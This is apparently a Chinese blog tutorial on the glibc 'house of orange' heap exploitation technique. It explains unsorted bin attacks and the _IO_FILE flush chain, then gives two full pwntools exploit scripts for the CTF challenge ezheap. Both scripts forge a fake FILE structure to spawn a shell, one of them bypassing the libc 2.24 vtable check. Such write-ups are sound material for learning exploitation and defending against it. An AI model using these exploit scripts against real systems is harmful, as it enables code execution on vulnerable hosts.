house of orange 详解

house of orange 是 2.23 -> 2.26 下的一个攻击手法,可以在没有 free 的情况下使用,是 unsorted bin attack 与 _IO_FILE_ 结合的先例,攻击过程非常的巧妙。
为了能够讲清楚知识点,接下来会写得很详细,先从 main_arena 和 bin 的关系开始

 main_arena 与 bin

首先要了解 main_arena 是一个存储在 libc 上,集中管理 bins 链的结构体

正如我们一开始允许程序时候在 gdbp 里面无法使用 heap 命令,只有我们开始申请一个堆块后,main_arean 这个结构体才会被初始化

未初始化前,没有看见堆空间

main_arena 结构体情况
0
0
接下来我们申请一个堆块,之后内存会开辟一个堆空间
可以看到开辟了 0x21000 大小的堆空间
0main_arena 结构体情况0
0
0
其中 top 一直是存放 top_chunk 的地址,而 bins 区域里面的内容都被填上了 上一个 0x10 对齐的 bins 地址。
system_mem 和 max_system_mem 则存放着堆空间的大小 135168 (0x21000)
如图所示0接下来介绍 fastbin 与 main_arena 结构体的关系。
由于 fast bin 是单向链表结构连接,因此, fastbinY 中则存放着最后放入的 fastbin 的地址,以此构造成一个链表互相联系。
unsorted bin 采用的双向链表,但是只会用到 bins 的前 0x10 个字节来存放 fd 和 bk,和其它 free chunk 通过双向链表互相连接。
small bin 也是采用双向链表,被 free 后会将 free chunk 放入大小不同的 small bin。从 0x20 ~ 0x3f0 ,共有 61 个 bin
large bin 也是采用双向链表,共有 63 个 bin,但是会多了一个 fd_nextsize 和 bk_nextsize,称作chunk size链表,同一个 bin 中的最大 chunk 的 bk_nextsize 指向最小 size 的 chunk,反过来最小 size 的 chunk 的 fd_nextsize 指向最大 size 的 chunk。
看到这里读者或许会疑惑,为什么 unsorted bin 没有划分大小不同的 bin ,那么如果 unsorted bin 中存放了多个 free chunk,如果 chunk 要从 unsorted bin 中取,会怎么取呢?
先会遍历一次 unsorted bins ,这次先尝试取刚刚好大小相等的 free chunk,如果不是,那么按其大小放入 small bins 或者 large bins。
如果 unsorted bins 中的 free chunk 都不符合要求的话,那么会去 small bins 和 large bins 中找最小能满足的 free chunk,将其切割后放入 unsorted bins
这里由于只需要了解就不放具体源代码了,总之,我们在 unsorted bin 申请 chunk 的时候 unsorted bin 中的 free chunk 会被怎么操作是一个比较关键的点。
这里假设 fast bin,unsorted bin 都存在 free chunk,那么 main_arena 应该是这样的0应该要注意,libc-2.23 下,除了 fast bin,其它三个 bin 都是先入先出,采用 FIFO 原则

unsorted bin attack

unsorted bin :双向链表结构、先入先出。在 libc-2.23 下,unsorted bin 有且仅有一个 free chunk 时候
0其 fd、bk 如图所示。其中 unsorted chunk 只是为了更好理解这么表示,其中 prev_size 的地址是 main_arena + 88
当 unsorted bin 中存在两个以上的 free chunk 时候0那么通过对比两种图,由于 unsorted bin 中的 free chunk 是先入先出,那么当 free chunk1 被取走时候,会更新 free chunk2 的 fd 和 unsorted chunk 的 bk
        while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
            bck = victim->bk;
            if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
                __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
                malloc_printerr(check_action, "malloc(): memory corruption",
                                chunk2mem(victim), av);
            size = chunksize(victim);

            /*
               If a small request, try to use last remainder if it is the
               only chunk in unsorted bin.  This helps promote locality for
               runs of consecutive small requests. This is the only
               exception to best-fit, and applies only when there is
               no exact fit for a small chunk.
             */
            /* 显然,bck被修改,并不符合这里的要求*/
            if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
                victim == av->last_remainder &&
                (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
                ....
            }

            /* remove from unsorted list */
            unsorted_chunks(av)->bk = bck;
            bck->fd = unsorted_chunks(av);

也就是上述 _init_malloc 函数代码的最后两行

unsorted_chunks(av)->bk = bck; 
bck->fd = unsorted_chunks(av);

其中 bck 是 free_chunk2,那么这里就会将 unsorted chunk 的 bk 指向 free_chunk2 ,而 free_chunk2 的 fd 指向 unsorted chunk

其中,搜寻 unsorted bin 的代码是这样的
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
            bck = victim->bk;
            if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
                __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
                malloc_printerr(check_action, "malloc(): memory corruption",
                                chunk2mem(victim), av);
            size = chunksize(victim);
是根据 bk 取 free_chunk1 的 bk 也就是 free_chunk2 的,所以 bck = free_chunk2,在这段代码中 fd 并没有起到作用。
因此,如果我们能够修改 free_chunk1 的 bk 到一个任意可写地址,那么我们就可以实现在该任意地址中写入 unsorted chunk 的地址也就是 main_arena_88
先在 unsorted bin 中存放一个 free_chunk1
如图所示,我们在取出 free_chunk1 前修改 free_chunk1 的 bk 到 fake_chunk
0接下来如果我们继续取出 free_chunk1 ,那么就会接着执行之前的两行代码
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);

就会将 fake_chunk 的 fd 修改成 main_arena_88

0红线部分为上述两行代码的作用,至此完成 unsorted bin attack

 2.23 下 house of orange 详解

house of orange 是 2.23 -> 2.26 下的一个攻击手法,可以在没有 free 的情况下使用,是 unsorted bin attack 与 _IO_FILE_ 结合的先例,攻击过程非常的巧妙。
攻击过程主要分为两步
  1. 修改 top_chunk 的 size ,令其进入 unsorted bin ,泄露 libc_base
  2. 在 unsorted bin 伪造成一个 0x61 大小的 chunk 和 _IO_FILE_ 结构体,再次 malloc 时候再次进行 unsorted bin attack 修改 _IO_list_all 为 main_arena_88 ,并把 0x61 的 unsorted bin chunk 放入 small bin,触发 malloc 报错后,调用一系列链子 get_shell
我们先看第一个步骤,在没有 free 功能的情况下要怎么 leak libc_base
victim = av->top;      
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))        
{          
    remainder_size = size - nb;          
    remainder = chunk_at_offset (victim, nb);          
    av->top = remainder;          
    set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head (remainder, remainder_size | PREV_INUSE);          
    check_malloced_chunk (av, victim, nb);          
    void *p = chunk2mem (victim);          
    alloc_perturb (p, bytes);          
    return p;
}
else if (have_fastchunks (av))
{
     \********\   
}
else        
{          
    void *p = sysmalloc (nb, av);          
    if (p != NULL)            
    alloc_perturb (p, bytes);         
    return p;        
}

在这段代码中,我们可以看到,如果 size(top_chunk_size) >= nb(user_chunk_size) + MINSIZE((prev_size+size)chunk_head_size) ,那么就会对 topchunk 进行切割,否则,之后会调用 sysmalloc 来拓展堆空间。

接着跟进 sysmalloc
if (av == NULL || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)    
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
    \********\
}
old_top = av->top;  
old_size = chunksize (old_top);  
old_end = (char *) (chunk_at_offset (old_top, old_size));  
brk = snd_brk = (char *) (MORECORE_FAILURE);
assert ((old_top == initial_top (av) && old_size == 0) 
|| ((unsigned long) (old_size) >= MINSIZE 
&& prev_inuse (old_top)
&& ((unsigned long) old_end & (pagesize - 1)) == 0));
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

从上面代码可以看到,如果 av(arena) 为空或者 nb(user_chunk_size) >= mmap 分配的最低阈值,并且 mmap 分配的最低阈值小于 mmap 分配的最大阈值(一般默认成立),那么就会利用 mmap 去分配内存,这样,我们就不能实现将 top_chunk 释放进 unsorted bin 的攻击目标了,因此,这里我们需要 nb < mp_.mmap_threshold

之后,就是利用 assert 进行一系列检测
  1. old_top == initial_top (av) top_chunk 没有被释放进 unsorted bin
  2. old_size(top_chunk_size) >= MINSIZE ((prev_size+size)chunk_head_size) 64位程序下也就是 top_chunk_size >= 0x10
  3. prev_inuse (old_top) 检查 top_chunk 的 p 位是否为 1
  4. old_end & (pagesize - 1)) == 0 需要 top_chunk_size + top_chunk_addr - 1 是页对齐的
  5. old_size < nb + MINSIZE 这个之前检测过了
之后,如果当前 arena 不是 main_arena
if (av != &main_arena)
{
    heap_info *old_heap, *heap;      
    size_t old_heap_size;      
    /* First try to extend the current heap. */      
    old_heap = heap_for_ptr (old_top);      
    old_heap_size = old_heap->size;      
    if ((long) (MINSIZE + nb - old_size) > 0 
    && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
    {
        \***********\
    }
}
那么会调用 grow_heap 对 top_chunk 进行拓展,如果拓展失败了,进入 else 分支
else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))        
{
        \********\
}
if (old_size >= MINSIZE)            
{              
         \********\     
    _int_free (av, old_top, 1);            
}
会利用 new_heap 创建一个新堆块来作为 top_chunk,并且如果 old_top_chunk_size >= MINSIZE ,就会 free 掉原先的 top_chunk
如果当前 arena 不是 main_arena 的话,最终也会 free 掉原先的 top_chunk
因此,我们如果要完成 house of orange 漏洞利用的第一步,那么,
  1. prev_inuse (old_top) 检查 top_chunk 的 p 位是否为 1
  2. old_end & (pagesize - 1)) == 0 需要 top_chunk_size + top_chunk_addr - 1 是页对齐的
  3. user_chunk_size > top_chunk_size 申请的堆块大小要大于 top_chunk 的大小
  4. top_chunk_size > MINSIZE 也就是 top_chunk 的大小要大于 chunk_heap 的大小,64 位下为 0x10
接下来我们要介绍一条 IO_FILE 链,其中,如果 malloc 错误,那么会调用 malloc_printerr 函数来打印错误信息
void malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{  
    /* Avoid using this arena in future.  We do not attempt to synchronize this     
    with anything else because we minimally want to ensure that __libc_message     
    gets its resources safely without stumbling on the current corruption.  */  
    if (ar_ptr)    
        set_arena_corrupt (ar_ptr);  
    if ((action & 5) == 5)    
        __libc_message (action & 2, "%s\n", str);  
    else if (action & 1)    
    {      
        char buf[2 * sizeof (uintptr_t) + 1];      
        buf[sizeof (buf) - 1] = '\0';      
        char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);      
        while (cp > buf)        
            *--cp = '0';      
            __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",                      
            __libc_argv[0] ? : "<unknown>", str, cp);    
    }  
    else if (action & 2)    
        abort ();
}
继续跟进 __libc_message 函数的话,会发现最后调用了 abort 函数来终止程序
void __libc_message (int do_abort, const char *fmt, ...){
    if (do_abort)    
    {      
        BEFORE_ABORT (do_abort, written, fd);      
        /* Kill the application.  */      
        abort ();    
     }
}
而在 abort 函数中,则调用 fflush 函数来进行 _IO_FILE_ 操作
void abort (void)
{
    \******\
    if (stage == 1)    
    {      
        ++stage;      
        fflush(NULL);    
     }
     \******\
}
而 fflush 是一个宏定义
#define fflush(s) _IO_fflush (s)

继续跟进 _IO_fflush

int _IO_fflush (_IO_FILE *fp){  
    if (fp == NULL)    
        return _IO_flush_all ();  
    else{
        \*******\
    }
}

由于参数是 NULL ,那么就会接着调用 _IO_flush_all

int _IO_flush_all (void){  
/* We want locking.  */  
    return _IO_flush_all_lockp(1);
}

那么又会接着调用 _IO_flush_all_lockp ,而 _IO_flush_all_lockp 就是这里链子的终点,因此,这条链子是

malloc_printerr -> __libc_message -> abort -> fflush(_IO_fflush) -> _IO_flush_all
-> _IO_flush_all_lockp

继续跟进查看 _IO_flush_all_lockp 函数代码

int
_IO_flush_all_lockp (int do_lock) # do_lock = 1
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
    _IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)
    result = EOF;

      if (do_lock)
    _IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
    {
      /* Something was added to the list.  Start all over again.  */
      fp = (_IO_FILE *) _IO_list_all;
      last_stamp = _IO_list_all_stamp;
    }
      else
    fp = fp->_chain;
    }

#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif

  return result;
}
关键的地方在于 _IO_OVERFLOW (fp, EOF),其是一个宏定义
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

而 JUMP1 继续跟进,会发现其中包括各个宏定义的关系如下

#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_JUMPS_FUNC(THIS) _IO_JUMPS_FILE_plus (THIS)
#define _IO_JUMPS_FUNC(THIS) (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) + (THIS)->_vtable_offset))

而 _IO_jump_t 就是 _IO_FILE 结构体的虚表函数

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

可以看到 _overflow 排在第四位,概括就是 _IO_OVERFLOW 会调用 _IO_FILE 结构体的 vtable 指针所指向的虚表函数的第四个函数,其参数的地址也是 _IO_FILE 结构体的地址。

其中,由于 FP 是在 _IO_list_all 遍历得到的,所以只要我们控制了 _IO_list_all 也相当与我们劫持了程序。
如果我们在 _IO_list_all 利用 unsorted bin attack 写入 main_arena_88 ,那么,main_arena_88 就会被当成一个 _IO_FILE 结构体,而 main_arena_88 + 0x68 = main_arena_C0 ,也就是 _IO_FILE 结构体中存放 chain 指针的地方,也是存放 0x60 大小 small bin 第一个 free chunk 地址的地方,如果我们伪造一个 small bin 为 _IO_FILE 结构体,那么我们就能够准确地劫持程序了
接下来是看看执行 _IO_OVERFLOW 的前置条件
 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
       )
  1. _mode = 0
  2. _IO_write_ptr > _IO_write_base
只要满足上述两个条件即可。
我们这里是可以同时执行 unsorted bin attack 修改 _IO_list_all 为 main_arena_88 ,并且伪造一个 small bin 中的 chunk 为 _IO_FILE 结构体
 
例题:[安洵杯 2021]ezheap
程序就不多介绍了,一开始执行就泄露了堆地址,没有 free 功能,edit 功能存在溢出
当我们申请了一个 0x10 大小的堆块时

会发现此时 top chunk 的 size 是 0x20fc1,其中
hex(0x55a305257040 + 0x20fc1 - 1) = 0x55a305278000

也就是说 top chunk 自带页对齐。为了满足下面四个条件

  1. prev_inuse (old_top) 检查 top_chunk 的 p 位是否为 1
  2. old_end & (pagesize - 1)) == 0 需要 top_chunk_size + top_chunk_addr - 1 是页对齐的
  3. user_chunk_size > top_chunk_size 申请的堆块大小要大于 top_chunk 的大小
  4. top_chunk_size > MINSIZE 也就是 top_chunk 的大小要大于 chunk_heap 的大小,64 位下为 0x10
因此,接下来我们把 top chunk size 修改为 0xfc1 ,并且通过申请一个 0x1000 大小的堆块来触发攻击,令 top chunk 被放入 unsorted bin
# leak heap_base
rl(b'0x')
heap_base = int(p.recv(12), 16) - 0x10
# leak libc_base 
add(0x10)
edit(0x20, p64(0)*3 + p64(0xfc1))
add(0x1000)
add(0x10, b'a'*8)
show()
libc_base = get_addr() - 1656 - libc.sym['__malloc_hook']

这样,我们就完成了步骤1,活得了 heap_base 和 libc_base,并且现在有一个 unsorted bin 中的 free_chunk

 然后是步骤二,我们要怎么把一个创建一个 0x60 大小的 small bin 并且在里面伪造好 _IO_FILE 结构体的数据还要再次触发 unsorted bin attack 修改 _IO_list_all 为 main_arena_88 呢。这里我们可以利用之前被放入 unsorted bin 的 top chunk。

这里我们可以修改该 unsorted bin 的 bk 为 _IO_list_all - 0x10,这样,当再次申请一个 chunk 时候,通过我们之前学习的 unsortd bin attack 可以知道, _IO_list_all 会被修改成 main_arena_88,并且会将该 unsorted bin 放入 small bin
# unsorted bin attack
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

/* place chunk in bin */

if (in_smallbin_range (size))
{
    victim_index = smallbin_index (size);
    bck = bin_at (av, victim_index);
    fwd = bck->fd;
}
由于我们申请的堆块还没有申请成功,所以又接着执行,如果我们申请的 chunk 大小在 small bin 范围内且小于 unsorted bin size 的话
if (!in_smallbin_range (nb))
        {
          bin = bin_at (av, idx);
          \********\
          
      if (__glibc_unlikely (fwd->bk != bck))
                    {
                      errstr = "malloc(): corrupted unsorted chunks";
                      goto errout;
                    }
                  remainder->bk = bck;
                  remainder->fd = fwd;
                  bck->fd = remainder;
                  fwd->bk = remainder;
                  \*******\

那么会对该 unsorted bin 进行切割,不够由于 bk 已经被我们修改了,所以这里的判断并不成立,将跳转到 errout 执行

 errout:      
     if (!have_lock && locked)        
             (void) mutex_unlock (&av->mutex);      
      malloc_printerr (check_action, errstr, chunk2mem (p), av);      
      return;

也将执行 malloc_printerr 执行一系列链子

如果同时修改 unsorted bin 的 size 为 0x60,那么,该 unsroted bin 就会在执行完 unsorted bin attack 后被放入 0x60 的 small bins 中,接下来,由于 malloc 错误,调用 malloc_printerr ,然后调用一系列链子
我们接下来要伪造一个 _IO_FILE 结构体,如下所示

 我们构造的时候要满足下面两个条件

  1. _mode = 0
  2. _IO_write_ptr > _IO_write_base
因此,我们伪造的 _IO_FILE 结构体下所示
fake_file = b'/bin/sh\x00' + p64(0x60)
# unsorted bin attack
fake_file += p64(0) + p64(_IO_list_all - 0x10)
# _IO_write_ptr > _IO_write_base
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xf8, b'\x00')
# vtable -> myself
fake_file += p64(heap_base + xx)
fkae_file += p64(0)*2 + p64(system)

由于_mode 的正负性是随机的,影响判断条件,大概有 1/2 的概率会利用失败

所以,最终 payload 如下
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rbp, rip, gadget) : return p64(gadget) + p64(0) + p64(rbp) + p64(rdi) + p64(rsi) + p64(rdx) + p64(rip) + p64(gadget - 0x1a)

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('1.14.71.254', 28966)
elf = ELF('./pwn')
libc = ELF('/home/xshhc/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def add(size, data = b'a'):
    sla(b'choice : ', b'1')
    sla(b'of it\n', str(size))
    sa(b'Name?\n', data)
def edit(size, data):
    sla(b'choice : ', b'2')
    sla(b'of it\n', str(size))
    sa(b'name\n', data)
def show():
    sla(b'choice : ', b'3')

# leak heap_base
rl(b'0x')
heap_base = int(p.recv(12), 16) - 0x10
add(0x10)
edit(0x20, p64(0)*3 + p64(0xfc1))
add(0x1000)
add(0x10, b'a'*8)
show()
libc_base = get_addr() - 1656 - libc.sym['__malloc_hook']

io_list_all = libc_base + libc.sym['_IO_list_all']
system = libc_base + libc.sym['system']

payload = b'a' * 0x10
fake_file = b'/bin/sh\x00' + p64(0x61)
fake_file += p64(0) + p64(io_list_all - 0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xc0,b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base + 0x138)
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload)

sla(b'choice : ', b'1')
sla(b'of it\n', str(1))
inter()

print(' libc_base -> ', hex(libc_base))
print(' heap_base -> ', hex(heap_base))    

#debug()

如图,攻击在打印报错信息后成功了

 2.24 ~ 2.26 下 house of orange 的 bypass

在 libc2.24 ~ 2.26 下,增加对 IO_FILE 结构体的虚表合法性检查,接下来我们以 2.24 为例
这是 2.23 版本的
# define _IO_JUMPS_FUNC(THIS) \ 
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
                    + (THIS)->_vtable_offset))

这是 2.24 版本的

# define _IO_JUMPS_FUNC(THIS) \
 (IO_validate_vtable                                                   \
     (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)    \                 
                        + (THIS)->_vtable_offset)))

可以看到, 2.24 版本多了一个 IO_validata_vtable ,跟进会发现

/* Perform vtable pointer validation.  If validation fails, terminate   the process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable){  
    /* Fast path: The vtable pointer is within the __libc_IO_vtables     section.  */  
    uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;  
    const char *ptr = (const char *) vtable;  
    uintptr_t offset = ptr - __start___libc_IO_vtables;  
    if (__glibc_unlikely (offset >= section_length))    
    /* The vtable pointer is not in the expected section.  Use the       
    slow path, which will terminate the process if necessary.  */    
    _IO_vtable_check ();  return vtable;
}

该函数实现的是对 _IO_jump_t 的检查,所以我们如果利用之前的方法,那么 _IO_jump_t 就是一个堆地址,那么必然会检查失败导致攻击失败

这里则用到了同在函数虚表的 _IO_strn_jumps 的 _IO_str_finish 进行 bypass
_IO_strn_jumps 是一个虚表函数指针

而 _IO_str_finish 是表内的第三个函数,其中函数代码如下

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

首先会进行 if 判断,这里需要

  1. _IO_buf_base != 0
  2. _flags = 0
然后,将 _IO_buf_base 作为参数,调用 _s._free_buffer
这里我们看下汇编代码
在 IDA 中,由于 _IO_str_finish 是没有符号的,所以要先找到 _IO_str_underflow,这里的 sub_7CFB0 就是 _IO_str_finish

可以看到,其中的 rbx 和 rdi 都是 FP ,最终会调用 fp + 0xe8, fd + 0x38 则作为参数

因此, fake_file 可以这么构建
fake_file =p64(0) + p64(0x60)
# unsorted bin attack
fake_file += p64(0) + p64(_IO_list_all - 0x10)
# _IO_write_ptr > _IO_write_base
fake_file += p64(0) + p64(1)
fake_file += p64(0) + b'/bin/sh\x00'
fake_file = fake_file.ljust(0xc0, b'\x00')
fake_file += p64(0)*3
# vtable -> _IO_strn_jumps - 0x8
fake_file += p64(_IO_strn_jumps - 0x8)
fkae_file += p64(0) + p64(system)

以 [安洵杯 2021]ezheap 为例,该绕过方法在 libc-2.23 下的 exp 如

from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rbp, rip, gadget) : return p64(gadget) + p64(0) + p64(rbp) + p64(rdi) + p64(rsi) + p64(rdx) + p64(rip) + p64(gadget - 0x1a)

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('1.14.71.254', 28966)
elf = ELF('./pwn')
libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def add(size, data = b'a'):
    sla(b'choice : ', b'1')
    sla(b'of it\n', str(size))
    sa(b'Name?\n', data)
def edit(size, data):
    sla(b'choice : ', b'2')
    sla(b'of it\n', str(size))
    sa(b'name\n', data)
def show():
    sla(b'choice : ', b'3')

# leak heap_base
rl(b'0x')
heap_base = int(p.recv(12), 16) - 0x10
add(0x10)
edit(0x20, p64(0)*3 + p64(0xfc1))
add(0x1000)
add(0x10, b'a'*8)
show()
libc_base = get_addr() - 1656 - libc.sym['__malloc_hook']

_IO_list_all = libc_base + libc.sym['_IO_list_all']
system, binsh = get_sb()

IO_file_jumps_offset = libc.sym['_IO_file_jumps']


_IO_strn_jumps = libc_base + 0x3C34A0

payload = b'a' * 0x10
fake_file = p64(0) + p64(0x60)
# unsorted bin attack
fake_file += p64(0) + p64(_IO_list_all - 0x10)
# _IO_write_ptr > _IO_write_base
fake_file += p64(0) + p64(1)
fake_file += p64(0) + p64(binsh)
fake_file = fake_file.ljust(0xc0, b'\x00')
fake_file += p64(0)*3
# vtable -> _IO_strn_jumps - 0x8
fake_file += p64(_IO_strn_jumps - 0x8)
fake_file += p64(0) + p64(system)
payload += fake_file
edit(len(payload), payload)

#gdb.attach(p, 'b _IO_flush_all_lockp')

sla(b'choice : ', b'1')
sla(b'of it\n', str(1))

#pause()
inter()

print(' libc_base -> ', hex(libc_base))
print(' heap_base -> ', hex(heap_base))    

#debug()

攻击效果

如有错误欢迎评论区指出

posted @ 2023-04-17 22:17  xshhc  阅读(520)  评论(0编辑  收藏  举报